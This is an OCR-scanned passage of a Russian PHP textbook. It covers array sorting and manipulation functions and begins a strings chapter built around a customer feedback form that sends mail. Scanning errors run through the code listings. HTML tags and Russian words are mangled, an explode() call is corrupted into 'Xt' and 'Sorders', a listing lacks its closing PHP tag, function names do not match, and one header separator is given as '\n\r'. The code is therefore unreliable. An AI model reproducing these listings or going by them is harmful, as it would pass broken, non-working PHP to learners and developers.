'Масло', 10 ) , array( 'SPK', 'Свечи зажигания', 4 ) ); В каком порядке расположатся значения, если выполнить сортировку этого мас- сива? Поскольку известно, что представляет данный массив, существует, по меньшей мере, два полезных порядка сортировки. Товары можно упорядочить в алфавитном по- рядке по описаниям или в цифровом порядке по ценам. И то, и другое одинаково воз- можно, но в данном случае мы хотим воспользоваться функцией usort () (“user sort” — “пользовательская сортировка”) и указать РНР, как следует сравнивать элементы. Глава 3. Использование массивов 111
Для этого потребуется разработать собственную функцию сравнения. Следующий код выполняет сортировку этого массива в алфавитном порядке по значению второго столбца, т.е. описания: function compare ($х, $у) { if ($х[1] == $у[1]) { return 0; } else if ($х[1] < $у[1]) { return -1; }else { return 1; } } usort($products, ’compare’); До сих пор в книге использовались встроенные PHP-функции. Для сортировки этого массива должна быть определена своя собственная, т.е. “пользовательская”, функция. Вопросы создания функций будут подробно рассматриваться в главе 5, а пока мы приводим только краткое описание этого процесса. Функция определяется с помощью ключевого слова function. Функции необходи- мо присвоить имя. Имена должны нести смысловую нагрузку, поэтому назовем новую функцию в текущем примере compare (сравнить). Многие функции принимают пара- метры, или аргументы. Наша функция compare () принимает два аргумента: х и у. Ее назначение заключается в том, чтобы принять два значения и определить их порядок. Применительно к рассматриваемому примеру, параметрами х и у будут два мас- сива внутри основного массива, каждый из которых представляет один вид товара. Чтобы обратиться к элементу Description массива х, необходимо ввести $х [ 1 ], по- скольку Description есть второй элемент в этом массиве, а нумерация начинается с нуля. Для сравнения элементов Description из массивов, переданных в функцию, используются переменные $х [ 1 ] и $у [ 1 ]. Когда функция завершает свою работу, она может вернуть ответ в вызвавший ее код. Эта операция называется возвратом значения. Для возврата значения из функции служит ключевое слово return. Например, строка return 1; возвращает значение 1 коду, вызвавшему эту функцию. Чтобы функция compare () могла быть использована в usort (), она должна срав- нивать х и у. Функция compare () должна возвращать 0, если значение х равно зна- чению у, отрицательное число, если значение х меньше у, и положительное — если значение х больше у. Наша функция будет возвращать значения 0, 1 или -1 в зависи- мости от значений х и у. Заключительная строка кода вызывает встроенную функцию usort () с массивом, в котором нужно выполнить сортировку ($products) и именем нашей функции сравнения (compare ()). Если требуется, чтобы массив был отсортирован в другом порядке, можно просто написать другую функцию сравнения. Для выполнейия сортировки по ценам необхо- димо просмотреть третий столбец массива и создать следующую функцию сравнения: function compare($х, $у) { if ($х[2] == $у[2]) { return 0; }else if ($х[2] < $у[2]) { return -1; }else { return 1; } } 112 Часть I. Использование PHP
При вызове функции usort ($products, compare) массив будет упорядочен в по- рядке возрастания цен. На заметку! Возможно, вы хотите проверить эти кодовые фрагменты, но они ничего не выводят на экран. Они предназначены для вставки в большие программы, которые вам может понадобиться написать. Символ “и” в имени usort () означает “user” (“пользовательская”), поскольку этой функции требуется функция сравнения, определяемая пользователем. Версии uasort () и uksort () функций asort () и ksort () также требуют применения опреде- ляемых пользователем функций сравнения. Подобно asort (), функция uasort () используется при сортировке массива с опи- сательными индексами по значениям. Функцию asort следует применять, если значе- ния являются простыми числами или текстом. Если же значения представлены более сложными объектами, такими как массивы, следует определить функцию сравнения и использовать функцию uasort (). Так же, как и ksort (), функция uksort () должна использоваться при сортировке' массива с описательными индексами по значениям. Функцию ksort () следует при- менять, когда значения являются простыми числами или текстом. Если же значения являются более сложными объектами наподобие массивов, следует определить функ- цию сравнения и воспользоваться функцией uksort (). Определяемая пользователем сортировка в обратном порядке Функции sort (), asort () и ksort () имеют соответствующие функции сортиров- ки в обратном порядке; их имена содержат символ “г”. Определяемые пользователем функции сортировки не имеют обратных версий, тем не менее, можно выполнять и обратную сортировку многомерных массивов. Поскольку выбор функции сравнения остается за вами, напишите функцию сравнения, возвращающую противоположные значения. Чтобы можно было выполнить обратную сортировку, эта функция долж- на возвращать значение 1, если х меньше у, и -1, если х больше у. Например: function reverse_compare ($xz $у) { if ($х[2] == $у[2]) { return 0; }else if ($x[2] < $y[2]) { return 1; }else { return -1; } } Теперь вызов функции usort ($products, reverseCompare) приведет к тому, что элементы массива будут следовать в порядке убывания цен. Глава 3. Использование массивов 113
Изменение порядка следования элементов в массивах В некоторых приложениях требуется изменить порядок следования элементов массива каким-то другим способом. Функция shuffle () располагает элементы мас- сива в случайном порядке. Функция array reverse () возвращает копию массива, в которой все элементы расположены в обратном порядке. Использование функции shuffle () Вовану нужно, чтобы несколько из поставляемых его компанией товаров были представлены на титульной странице сайта. Его компания поставляет большой ас- сортимент товаров, однако он хотел бы, чтобы на титульной странице отображались три произвольно выбранных товара. Чтобы постоянные посетители не скучали, же- лательно, чтобы при каждом новом посещении сайта выбирались другие три товара. Этой цели легко достичь, если информация обо всех товарах будет храниться в мас- сиве. Сценарий, представленный в листинге 3.1, отображает на экране три случайно выбранных рисунка, сортируя элементы массива в случайном порядке, и затем ото- бражая первые три из них. Листинг 3.1. bobs_front_page.php — использование РНР для создания динамической титульной страницы компании “Автозапчасти от Вована” <?php $pictures = array('tire.jpg', 'oil.jpg', 'spark_plug.jpg', 'door.jpg', 'steering_wheel.jpg', 'thermostat.jpg', 'wiper_blade.jpg', 'gasket.jpg', 'brake__pad.jpg'); shuffle($pictures); ?> <html> <head> <Г1Г1е>Автозапчасти от BoBaHa</title> </head> <body> <Ы>Автозапчасти от Вована</Ы> <div align="center"> <table width = 100%> <tr> <?php for ($i = 0; $i < 3; $i++) { ’ echo "<td align = \"center\"ximg src=\""; echo $pictures[$i]; echo "\"/></td>"; } </tr> </table> </div> </body> </html> 114 Часть I. Использование PHP
Поскольку этот сценарий выбирает произвольные рисунки, то практически при каждой загрузке генерируется отличающаяся страница; одну из них можно видеть на рис. 3.5. Рис. 3.5. Функция shuffle () позволяет отображать три случайно выбранных товара Использование функции array_reverse () Функция array reverse () принимает массив и создает новый массив, элементы которого расположены в обратном порядке. Например, существует множество спосо- бов создания массива, содержащего убывающую последовательность чисел от 10 до 1. Использование функции range () обычно приводит к созданию возрастающей последовательности; ее можно изменить на убывающую с помощью функций array reverse () или rsort (). Либо можно создать такой массив, занося в него по одному элементу в цикле for: $numbers = array(); for ($i = 10; $i > 0; $i —) { array_push($numbers, $i) ; } Цикл for может выполняться и в порядке убывания, как показано в этом приме- ре. Начальное значение устанавливается большим, в конце каждого цикла операция декремента — уменьшает значение счетчика на единицу. В данном примере создается пустой массив, а затем применяется функция аггау_ push () для добавления каждого нового элемента в конец массива. Попутно следует отметить, что обратной функцией для array push () является функция array pop (). Эта функция удаляет и возвращает один элемент из конца массива. Можно также воспользоваться функцией array reverse () для изменения порядка следования элементов массива, созданного функцией range (). $numbers = range(1,10); $numbers = array_reverse($numbers); Обратите внимание на то, что функция array reverse () возвращает модифи- цированную копию массива. Если исходный массив больше не нужен, новую копию можно просто записать на место исходной. Если данные должны быть диапазоном целых чисел, обратного порядка можно добиться, вызвав range () и передав -1 в необязательном третьем параметре: $numbers = range (10, 1, -1); Глава 3. Использование массивов 115
Загрузка массивов из файлов В главе 2 вы узнали, как сохранить в файле заказы клиентов. Каждая строка ре- зультирующего файла выглядит приблизительно так: 11:32, 20th June 4 покрышек 1 масла 6 свечей $434.00 22 ^>ул. Гудвина, 12, г. Изумрудный Для обработки или выполнения этого заказа его можно загрузить в массив. Сценарий, приведенный в листинге 3.2, отображает текущий файл заказов. Листинг 3.2. vieworders.php — использование РНР для отображения заказов <?php // создание короткого имени переменной $DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT']; $orders = file("$DOCUMENT—ROOT/../orders/orders.txt"); $number_of_orders = count($orders); if ($number_of_orders == 0) { echo "<p><strong>HeT необработанных заказов. Загляните позже.</strong></p>"; } for ($i = 0; $i < $number_of_orders; $i++) { echo $orders[$i]."<br />"; } Этот сценарий генерирует почти такой же вывод, как и показанный на рис. 2.4, который выдан сценарием из листинга 2.3 (см. главу 2). Однако на сей раз мы исполь- зовали функцию f ile (), которая загружает весь файл в массив. Каждая строка файла становится отдельным элементом массива. В этом сценарии также применяется функ- ция count () для подсчета количества элементов в массиве. Более того, каждый раздел строк заказа можно также загрузить в отдельный эле- мент массива, чтобы разделы можно было обрабатывать по отдельности или посред- ством выбора соответствующего формата придать им более привлекательный вид. Именно это и делает сценарий, представленный в листинге 3.3. Листинг 3.3. vieworders2 .php — использование РНР для разделения, форматирования и отображения заказов компании “Автозапчасти от Боба” <?php // создание короткого имени переменной $DOCUMENT_ROOT = $_SERVER['DOCUMENT—ROOT']; ?> <html> <head> <title>ABTO3an4acTH от Вована — Заказы KnneHTOB</title> </head> <body> <Ь1>Автозапчасти от Вована</Ь1> <Ь2>Заказы клиентов</Ь2> 116 Часть I. Использование РНР
<?php // Считывание всего файла. // Каждый заказ становится элементом массива $orders = file (,U$DOCUMENT_ROOT/ .. /orders/orders. txt") ; // Подсчет количества заказов, хранящихся в массиве $number_of_orders = count($orders); if ($number_of_orders == 0) { echo "<p><strong>HeT необработанных заказов. Загляните позже.</strong></p>"; } echo "<table border=\"l\">\n"; echo "<tr>". "<th bgcolor = \"#ССССГГ\">Дата заказа</1Ь>". "<th bgcolor = \"#CCCCFF\">noKpbniiKH</th>". "<th bgcolor = \"#CCCCFF\">Macno</th>". "<th bgcolor = \"#CCCCFF\">CBe4H</th>". "<th bgcolor = \"#CCCCFF\">Bcero</th>". "<th bgcolor = \"#CCCCFF\">Aflpec</th>". "<tr>"; for ($i=0; $i<$number_of_orders; $i++) { // Разбиение строк $line = explode("Xt", Sorders[$i]); // Сохранение только количества заказанных товаров $line[l] = intval($line[1]); $line[2] = intval($line [2]) ; $line[3] = intval($line [3]) ; // Вывод заказов echo "<tr>". "<td>".$line[0]."</td>". "<td align = X’^ighlX'^".$line[1]."</td>". "<td align = \"right\">".$line[2]."</td>". "<td align = \"right\">".$line[3]."</td>". "<td align = \"right\">".$line[4]."</td>". "<td>".$line[5]."</td>". "</tr>"; } echo "</table>"; </body> </html> Код, показанный в листинге 3.3, загружает весь файл в массив, однако, в отличие от примера, приведенного в листинге 3.2, в нем используется функция explode () для разбиения каждой строки, чтобы перед выводом ее можно было подвернуть опреде- ленной обработке и форматированию. 1енерируемый этим сценарием вывод показан на рис. 3.6. Функция explode () имеет следующий прототип: array explode(string separator, string string [, int limit]) Глава 3. Использование массивов 117
Ffe Edit View History gpckmarks Tools Hep ' ttp /Jocahost/ptpm 3/vieworder 2,php ’' Автозапчасти от Вована Заказы клиентов 1 Дата заказа (Покрышки Масло ‘Свечи | Всего | Адрес j 12:33, 26th February' 20091 41 1 j 6 IS434.00 |ул. Гудвина, 12, г. Изумрудный 112:33,26th February 2009 j 11 0 j 0 jS100.00 |пр. Незнайки, 34, г. Солнечный 112:34, 26th February 2009| 0 [ 11 41 S26.00 jnep. Поттера, 56, пгт Хогвартс Done Рис. 3.6. После разбиения записей заказа с помощью функции explode () для большей наглядности каждую часть заказа можно поместить в отдельную ячейку таблицы В предыдущей главе при сохранении этих данных в качестве разделителя исполь- зовался символ табуляции, поэтому здесь применяется такой вызов: explode("\t", $orders[$i]) В результате переданная этой функции строка разбивается на части. Каждый сим- вол табуляции рассматривается как промежуток между двумя элементами. Например, строка: ”11:32, 20th June\t4 покрышек\Г1 Maoia\t6 свечей\1$434.00\t *Ъул. Гудвина, 12, г. Изумрудный" разбивается на части "11:32, 20th June”, "4 покрышек", "1 масла", "6 свечей", "$434.00" и "ул. Гудвина, 12, г. Изумрудный". Обратите внимание на необязательный параметр limit: он используется для того, чтобы ограничить максимальное количество частей, на которые разбивается строка. В данном случае объем обработки не особенно велик. Вместо того чтобы в каждой строке выводить название товара (покрышки, бутылки масла и свечи зажигания), в ней отображается только заказанное количество каждого из них, а таблица снабжа- ется строкой заголовка, показывающей, что означает каждое из значений. Существует ряд способов возможного извлечения чисел из этих строк. В данном случае использовалась функция intval (). Как было отмечено в главе 1, эта функция преобразует тип string в тий integer. Преобразование в этом примере выполняется ^достаточно рационально, оно игнорирует такие фрагменты строки, как метка, кото- рые не могут быть преобразованы в integer. Различные способы обработки строк рассматриваются в следующей главе. Другие манипуляции с массивами До этого момента было рассмотрено лишь около половины функций обработки массивов. Время от времени полезными могут оказаться и другие функции, которые будут описаны ниже. 118 Часть I. Использование РНР
Перемещение внутри массива: функции each (), current(), reset(), end(), next(), pos() и prev() Ранее упоминалось, что каждый массив имеет внутренний указатель, который ука- зывает на текущий элемент массива. Выше мы косвенно задействовали этот указатель при использовании функции each (), но им можно пользоваться и манипулировать непосредственно. При создании нового массива текущий указатель инициализируется таким образом, что он указывает на первый элемент массива. Вызов функции current ($array_name) возвращает первый элемент. Вызов функции next () или each () перемещает указатель вперед на один элемент. Вызов функции each ($array_name) возвращает текущий элемент, прежде чем пере- местить указатель. Функция next () ведет себя несколько иначе — в результате вызова функции next ($array_name) сначала перемещается указатель, а только после этого возвращает новый текущий элемент. Мы уже видели, что функция reset() возвращает указатель на первый элемент массива. Аналогично, вызов функции end ($array_name) перемещает указатель в ко- нец массива. Функции reset() и end() возвращают, соответственно, первый и по- следний элементы массива. Для перемещения в массиве в обратном направлении можно воспользоваться функциями end () и prev (). Функция prev () является обратной по отношению к функции next (). Она перемещает текущий указатель на один элемент назад, а затем возвращает новый текущий элемент. Например, приведенный ниже фрагмент кода выводит элементы массива в обрат- ном порядке: $value = end($array); while ($value) { echo "$value<br />"; $value = prev($array); } Например, если массив $ array объявлен следующим образом: $array = array (1, 2, 3) ; то вывод в окне браузера будет выглядеть так: 3 2 1 Используя функции each (), current (), reset (), end (), next (), pos () и prev (), вы можете написать свой собственный код, позволяющий перемещаться в массиве в любом порядке. Применение любой функции к каждому элементу массива: функция array_walk () Иногда требуется выполнять одинаковые действия над каждым элементом масси- ва. Сделать это позволяет функция array walk (). Функция array_walk() имеет следующий прототип: bool array_walk(array arr, string func, [mixed userdata]) Глава 3. Использование массивов 119
Подобно тому, как мы поступали при вызове функции usort (), с которой уже при- ходилось иметь дело, при вызове функции array_walk() предполагается использова- ние вашей собственной функции. Функция array_walk() принимает три параметра. Первый параметр агг — это массив, подлежащий обработке. Второй параметр, func, представляет собой имя оп- ределяемой пользователем функции, которая будет применяться к каждому элементу массива. Третий параметр, user data, является необязательным. В тех случаях, когда он используется, он передается определяемой пользователем функции в качестве па- раметра. Его применение будет продемонстрировано несколько ниже. Подходящей в этом плане пользовательской функцией может оказаться функция, которая отображает каждый элемент в некотором заданном формате. Следующий фрагмент кода отображает каждый элемент с новой строки, вызывая пользовательскую функцию myprint () для каждого элемента массива $ array: function my_print($value) { echo "$value<br />"; } array_walk($array, 'my_print’); Создаваемая вами функция должна иметь определенную сигнатуру. Для каждого элемента массива функция array_walk() принимает ключ и значение, хранящиеся в массиве, и любые данные, которые вы захотите передать в параметре userdata, по- сле чего она вызывает написанную вами функцию, например, следующую: yourfunction(value, key, userdata) В большинстве случаев определенная вами функция использует только значения, хранящиеся в массиве. В некоторых случаях функции придется передавать некото- рые данные через параметр userdata. Иногда наряду со значением того или иного элемента массива интерес может вы- звать и его ключ. Созданная вами функция может просто игнорировать и ключ, и параметр userdata, как это имеет место в my print (). В качестве несколько более сложного примера создадим функцию, которая меня- ет значения в массиве и требует передачи ей некоторого параметра. Обратите вни- мание, что хотя ключ может и не представлять для нас интереса, тем не менее, он должен быть задан, чтобы функция могла принять третий параметр. function my_multiply(&$value, $key, $factor) { $value *= $factor; } array_walk(&$array, ’my_multiply’, 3) ; В этом примере определена функция my multiply (), которая будет умножать ка- ждый элемент массива на заданный коэффициент. В данном случае нам необходимо использовать необязательный третий параметр функции array_walk() с тем, чтобы передать его в функцию my multiply () и использовать как коэффициент умножения. Поскольку нам нужен этот параметр, функцию my multiply () необходимо опреде- лить так, чтобы она принимала три параметра — значение элемента массива ($value), ключ элемента массива ($кеу) и коэффициент умножения ($factor). В данном случае ключ нам не нужен. Обратите внимание на то, как мы передаем в функцию параметр $ value. Символ амперсанда (&) перед именем переменной в определении функции my multiply () оз- начает, что $ value будет передаваться по ссылке. Передача по ссылке позволяет функ- ции изменять содержимое массива. 120 Часть I. Использование РНР
Подробнее передача по ссылке описана в главе 5. Вам, возможно, не доводилось иметь дело с этим термином, но пока достаточно отметить, что для передачи значе- ния по ссылке перед именем переменной следует поместить Символ амперсанда. Подсчет элементов в массиве: функции count (), sizeof () и array_count_values () В приведенном ранее примере для подсчета количества элементов в массиве за- казов использовалась функция count (). Функция sizeof () служит тем же целям. Обе функции возвращают количество элементов в переданном им массиве. Так, значение счетчика количества элементов будет равно 1 для обычной скалярной переменной и О при передаче либо пустого массива, либо переменной без установленного значения. Функция array_count_values () сложнее. Если вызвать array count values ($array), то эта функция подсчитает, сколько раз встречается в массиве $ array каждое уникальное значение. (То есть эта функция определяет мощность множества для данного массива.) Она возвращает ассоциативный массив, содержащий таблицу частоты использования элементов. Этот массив содер- жит в качестве ключей все уникальные значения массива $ array. Каждый ключ име- ет числовое значение, указывающее, сколько раз соответствующий ключ встречается в массиве $аггау. Например, следующий код: $array = array(4, 5, 1, 2, 3, 1, 2, 1); $ас = array_count_values($array); создает массив $ас, который содержит: Ключ • Значение 4 1 5 1 1 3 2 2 3 1 Этот результат показывает, что ключи 4, 5 и 3 встречаются в массиве $ array по одному разу, 1 — три раза, а 2 — дважды. Преобразование массивов в скалярные переменные: функция extract () Массив с содержательными индексами, содержащий пары “ключ-значение”, с по- мощью функции extract () можно преобразовать в набор скалярных переменных. Эта функция имеет следующий прототип: extract (array var_array [, int extract_type] string prefix] ); Функция extract () предназначена для создания скалярных переменных, имею- щих те же имена, что и ключи массива. Переменным присваиваются значения, рав- ные значениям, которые хранятся в массиве. Ниже показан простой пример. $array = array( 'keyl’ => 'valuel’, 'key2' => 'value2', 'кеуЗ' => *value3'); extract($array); echo "$keyl $key2 $key3"; Глава 3. Использование массивов 121
Этот фрагмент кода генерирует следующий вывод: valuel value2 value3 Массив содержал три элемента с ключами keyl, key2 и кеуЗ. Благодаря исполь- зованию функции extract () были созданы три скалярные переменные $keyl, $кеу2 и $кеуЗ. Как видно из вывода, значениями переменных $кеу1, $кеу2 и $кеуЗ являют- ся, соответственно, ’valuel', ’value2* H*value3’. Функция extract () принимает два необязательных параметра: extract_type и prefix. Переменная e'xtractytype задает функции extract () способ обработки кон- фликтных ситуаций. Такие ситуации возникают, когда переменная с именем, содер- жащимся в ключе, уже существует. По умолчанию значение существующей перемен- ной заменяется новым. Допустимые значения параметра extract_type перечислены в табл. 3.2. Таблица 3.2. Допустимые значения параметра extract type функции extract () Значение Описание EXTR_OVERWRITE Перезаписывает существующую переменную в случае конфликта. EXTR_SKIP Пропускает элемент в случае конфликта. EXTR_PREFIX_SAME В случае конфликта создает переменную с именем $prefix_key. В этом случае необходимо передать в функцию параметр prefix. EXTR_PREFIX_ALL Предваряет имена всех переменных префиксом prefix. В этом случае необходимо передать в функцию параметр prefix. EXTR_PREFIX_INVALID Предваряет префиксом prefix те имена переменных, которые в противном случае окажутся недопустимыми (например, числовые имена переменных). В этом случае необходимо передать в функ- цию параметр prefix. EXTR_IF_EXISTS Извлекает только те переменные, которые уже существуют (т.е. заполняет значениями из массива только существующие перемен- ные). Этот параметр может оказаться полезным, например, для преобразования массива $_request в набор переменных. EXTR_PREF_IF_EXISTS Создает префиксную версию только в тех случаях, когда существу- ет непрефиксная версия. EXTR_REFS Извлекает переменные как ссылки. Двумя наиболее полезными значениями extractytype являются те, которые оп- ределяются по умолчанию, т.е. EXTR_OVERWRITE и EXTR_PREFIX_ALL. Остальные зна- чения могут использоваться эпизодически, в частности, в тех случаях, когда вам за- ранее известно, что возможны конфликты определенного вида, и вы хотите, чтобы ключ был пропущен или имел префикс. Ниже показан простой пример использова- ния функции EXTR PREFIX ALL в качестве параметра. Как видите, созданные перемен- ные получают имена префикс-символ_подчеркивания-имя-ключа. $array = array( 'keyl' => 'valuel', 'key2' => 'value2', 'кеуЗ' => 'value3'); extract($array, EXTR_PREFIX_ALL, 'my_prefix'); echo "$my_prefix_keyl $my_prefix_key2 $my_prefix_key3"; Этот код снова сгенерирует вывод: valuel value2 value3 122 Часть I. Использование PHP
Обратите внимание, что для того, чтобы функция extract () извлекала элемент, ключ элемента должен быть допустимым именем переменной, т.е. ключи, которые начинаются с цифр или содержат пробелы, пропускаются. Дополнительные источники информации В этой главе освещены, по нашему мнению, наиболее полезные функции для ра- боты с массивами в РНР. Мы решили не рассматривать все существующие функции данного типа, поскольку краткое описание каждой из них присутствует в онлайно- вом руководстве по РНР, которое находится по адресу http://ru.php.net/manual/ ru/book.array.php. Что дальше В следующей главе рассматриваются функции обработки строк. В ней будут описа- ны функции, которые осуществляют поиск, замену, разбиение и объединение строк, а также весьма мощные функции работы с регулярными выражениями, которые по- зволяют выполнять практически любые действия со строками. Глава 3. Использование массивов 123
Манипулирование строками и регулярные выражения В этой главе мы рассмотрим использование PHP-функций обработки строк для фор- матирования и обработки текста. Мы рассмотрим также применение строковых функций и функций обработки регулярных выражений для поиска (и замены) слов, выражений или каких-либо других последовательностей символов внутри строки. Эти функции полезны во многих прикладных приложениях. Часто требуется очи- стить или переформатировать вводимые пользователем данные, предназначенные для сохранения в базе данных. В частности, функции поиска просто незаменимы при создании инструментальных средств поиска. В этой главе рассматриваются следующие темы. Форматирование строк. Объединение и разбиение строк. Сравнение строк. Сопоставление и замена подстрок с помощью функций обработки строк. Использование регулярных выражений. Пример приложения: интеллектуальная форма отправки электронной почты В этой главе строковые функции и функции регулярных выражений рассматрива- ются в контексте приложения интеллектуальной формы отправки электронной поч- ты (Smart Form Mail). Написанные в этой главе сценарии будут добавлены к сайту компании “Автозапчасти от Вована”, который разрабатывается уже на протяжении нескольких глав. На этот раз мы создадим простую и часто используемую форму отзывов клиен- тов (так называемую форму обратной связи), позволяющую клиентам Вована вводить свои замечания и пожелания (рис. 4.1). Однако наше приложение будет обладать од- ним преимуществом по сравнению со многими другими формами, которые можно встретить в Интернете. 124 Часть I. Использование РНР
Рис. 4.1. Форма обратной связи с клиентами запрашивает имя, адрес электронной почты и мнение клиента о качестве обслуживания Вместо того чтобы отправлять форму по обобщенному адресу электронной почты наподобие feedback@example.com, мы постараемся сделать этот процесс более ин- теллектуальным за счет поиска во вводимых данных ключевых слов и выражений и последующей отправки сообщения электронной почты соответствующему сотруднику компании “Автозапчасти от Вована”. Например, если сообщение электронной почты содержит слово “advertising” (“реклама”), данные обратной связи будут направлены в отдел маркетинга. Если сообщение электронной почты поступает от самого крупно- го клиента Вована, оно, по идее, должно быть направлено непосредственно ему как руководителю. Мы начнем рассмотрение с простого сценария, показанного в листинге 4.1, до- полняя его по мере изучения материала. Листинг 4.1. processfeedback.php — основной сценарий для создания содержимого формы отправки электронной почты <?php // создание коротких имен переменных $name = $_POST [ ’ name' ] ; $email = $_POST['email’]; $feedback = $_POST[’feedback']; // постоянная информация $toaddress = "feedback@example.com"; $subject = "Отзыв с веб-сайта"; $mailcontent = "Имя клиента: ".$name."\n". "E-mail клиента: ".$email."\n". "Комментарии клиента: \n".$feedback."\n"; $fromaddress = "From: webserver@example.com"; // отправка почтового сообщения с помощью функции mail() mail($toaddress, $subject, $mailcontent, $fromaddress); ?> Глава 4. Манипулирование строками и регулярные выражения 125
<html> <head> <title>ABTO3an4acTH от Вована — Отзыв отправлен</Г1Г1е> </head> <body> <Ы>Отзыв отправлен</Ы> <р>Ваш отзыв отправлен.</р> </body> </html> В общем случае необходимо проверять, заполнил ли пользователь все обязатель- ные поля формы, воспользовавшись для этой цели, например, функцией isset(). Для краткости изложения в приведенном сценарии и других примерах мы не будем выполнять эту процедуру. В этом сценарии мы осуществляем конкатенацию полей формы и при помощи PHP-функции mail () и отправляем их по электронной почте по адресу feedback^ example. com. До сих пор функция mail () еще не использовалась, поэтому сейчас мы рассмотрим, как она работает. Совершенно очевидно, что эта функция отправляет сообщение электронной поч- ты. Ее прототип имеет следующий вид: bool mail(string кому, string тема, string сообщение [, String дополнительные_заголовки [, string дополнительные_параметры] ]) ; Первые три параметра являются обязательными и представляют, соответственно, адрес, по которому должно быть отправлено сообщение, строку темы и содержимое сообщения. Четвертый параметр может применяться для отправки любых дополни- тельных допустимых заголовков сообщения электронной почты. За дополнительной информацией обращайтесь в Интернет к документу RFC822, в котором описаны эти заголовки. (RFC, или Request For Comment (Запрос на комментарий), — источ- ник многих Интернет-стандартов. Эти документы будут рассматриваться в главе 20.) В данном примере четвертый параметр используется для включения в сообщение адреса "From:" (“От:”) для указания отправителя. Его можно также применять для добавления таких полей, как "Reply-То:" (“Ответить:”) и "Сс:" (“Копия”). Если вам необходимо ввести более одного дополнительного заголовка, их нужно просто разде- лить символами новой строки (\п\г), как показано в следующем примере: $additional_headers= "From: webserver@example.com\n\r" ."Reply-То: bob@example.com"; Необязательный пятый параметр может быть использован для передачи парамет- ра в программу, которая сконфигурирована для отправки электронной почты. Чтобы можно было пользоваться функцией mail (), при настройке РНР потребу- ется указать применяемую программу передачи электронной почты. Если в представ- ленном виде сценарий не работает, то, видимо, допущена ошибка при инсталляции — еще раз внимательно прочтите приложение А. На протяжении данной главы мы будем совершенствовать этот основной сцена- рий, используя функции обработки строк и регулярные выражения РНР. Форматирование строк Часто строки, вводимые пользователем (как правило, в интерфейсе с HTML-фор- мой), приходится очищать от служебных символов, прежде чем«их можно будет ис- 126 Часть I. Использование РНР
пользовать по прямому назначению. В следующих разделах описаны функции, кото- рые служат для этих целей. Усечение строки: функции chop (), ltrim() и trim() Первый шаг в этом направлении предусматривает удаление лишних пробелов. Хотя этот шаг и не обязателен, он может оказаться полезным, если предполагается хранение строки в файле или базе данных либо ее сравнение с другими строками. Для упомянутой цели в РНР предусмотрены три полезных функции. В начале сце- нария — там, где входным переменным формы назначаются короткие имена — можно использовать функцию trim () для приведения вводимых данных в порядок: $name = trim($_POST['name']); $email = trim($_POST['email']) • $feedback = trim($_POST['feedback'); Функция trim() удаляет пробельные символы в начале и конце строки и возвра- щает результирующую строку. При этом умолчанию удаляются символы новой стро- ки (\п), возврата каретки (\г), символы горизонтальной (\t) и вертикальной (\хОВ) табуляций, конца строки (\0) и обычные пробелы. Вы можете также указать второй параметр, который содержит список символов, подлежащих удалению из строки, вместо стандартного списка. В зависимости от обстоятельств вместо этой функции можно использовать ltrim() или rtrim(). Обе они аналогичны функции trim() в том, что принимают редактируемую строку в качестве параметра и возвращают от- форматированную строку. Различие между ними состоит в том, что функция trim() удаляет пробельные символы в начале и конце строки, ltrim() удаляет их только в начале строки (слева), a rtrim() — только в конце строки (справа). Форматирование строк для отображения В РНР имеется набор функций, которые можно использовать для переформатиро- вания строк различными способами. Использование HTML-форматирования: функция nl2br () Функция nl2br() принимает строку в качестве параметра и заменяет в ней все символы новой строки XHTML-дескриптором <br />. Данная возможность полезна при выводе длинной строки в окне браузера. Например, можно воспользоваться этой функцией для форматирования отзыва клиента при его выводе на экран: <р>Ваш отзыв (приведенный ниже) отправлен.</р> <p><?php echo nl2br($mailcontent) ; ?> </p> Вспомните, что HTML игнорирует пробельные символы, поэтому если вы не от- фильтруете этот вывод с помощью функции nl2br (), он появится на экране в виде одной сплошной строки (за исключением символов новой строки, расставленных са- мим браузером). Результат можно видеть на рис. 4.2. Форматирование строк для целей печати До сих пор для вывода строк в окне браузера мы использовали языковую конст- рукцию echo. РНР поддерживает также конструкцию print (), которая выполняет ту же операцию, что и echo, при этом возвращает значение true или false, в зависимо- сти от того, успешно ли она была выполнена. Глава 4. Манипулирование строками и регулярные выражения 127
Рис. 4.2. Использование PHP-функции nl2br () позволяет улучшить отображение длинных строк в HTML Обе эти конструкции выводят строку “как она есть”. С помощью функций printf () и sprintf () можно выполнять более сложное форматирование. Фактически эти функ- ции реализуют одни и те же действия, однако printf () выводит отформатированную строку в окне браузера, a sprintf () только возвращает сформатированную строку. Если вам раньше приходилось программировать на языке С, то вы сразу опреде- лите, что эти функции концептуально подобны своим С-версиям. Обратите, однако, внимание на несколько различающийся синтаксис. Если же программировать на С не доводилось, то чтобы научиться работать с этими функциями, потребуется некоторое время, однако они этого достойны, поскольку обладают большими возможностями и пользу от их применения трудно переоценить. Прототипы этих функций имеют следующий вид: string sprintf (string формат [, mixed аргументы ...]) void printf (string формат [, mixed аргументы ...]) В качестве первого параметра обеим этим функциям передается строка формата, описывающая основную форму вывода, в которой вместо переменных используются коды форматирования. Остальными параметрами являются переменные, которые бу- дут подставляться в строку формата. Например, в операторе echo можно указывать переменные, которые должны быть выведены, например, так: echo "Общая сумма заказа: $total."; Для получения того же результата с помощью функции printf () применяется сле- дующая конструкция: printf ("Общая сумма заказа: %s.", $total); Последовательность символов %s в строке формата называется спецификацией пре- образования. Указанная спецификация означает “заменить строкой”. В рассматривае- мом случае она будет заменена значением переменной $ total, которое интерпрети- руется как строка. Если бы значением, хранящимся в переменной $total, было 12.4, в обоих этих случаях выводилось бы 12.4. 128 Часть I. Использование РНР
Преимущество применения функции printf () состоит в том, что в этом случае мож- но использовать более удобную спецификацию преобразования, чтобы указать, что на самом деле переменная $total является числом с плавающей точкой и что оно должно содержать два знака после десятичной точки, как показано в следующем примере: printf ("Общая сумма заказа: %.2f", $total); С учетом заданного форматирования и значения 12.4 переменной $ total, на эк- ран будет выведено 12.40. Строка формата может содержать несколько спецификаций преобразования. При использовании п спецификаций преобразования после строки формата необходимо указать п аргументов. Каждая спецификация преобразования будет замещена отфор- матированным аргументом в том порядке, в каком они перечислены. Например: printf ("Общая сумма заказа: %.2f (с доставкой: %.2f> ", $total, $total_shipping); В рассматриваемом случае первая спецификация преобразования применяется к переменной $total, а вторая — к переменной $total_shipping. Все спецификации преобразования имеют одинаковый формат: % [' дополняющий_символ] [-] [ширина] [. точность] тип Все спецификации преобразования начинаются с символа %. Если вы хотите вы- вести символ %, следует воспользоваться последовательностью % %. Дополняющий_символ не относится к числу обязательных параметров. Он бу- дет использоваться для дополнения переменной до указанной ширины. Примером 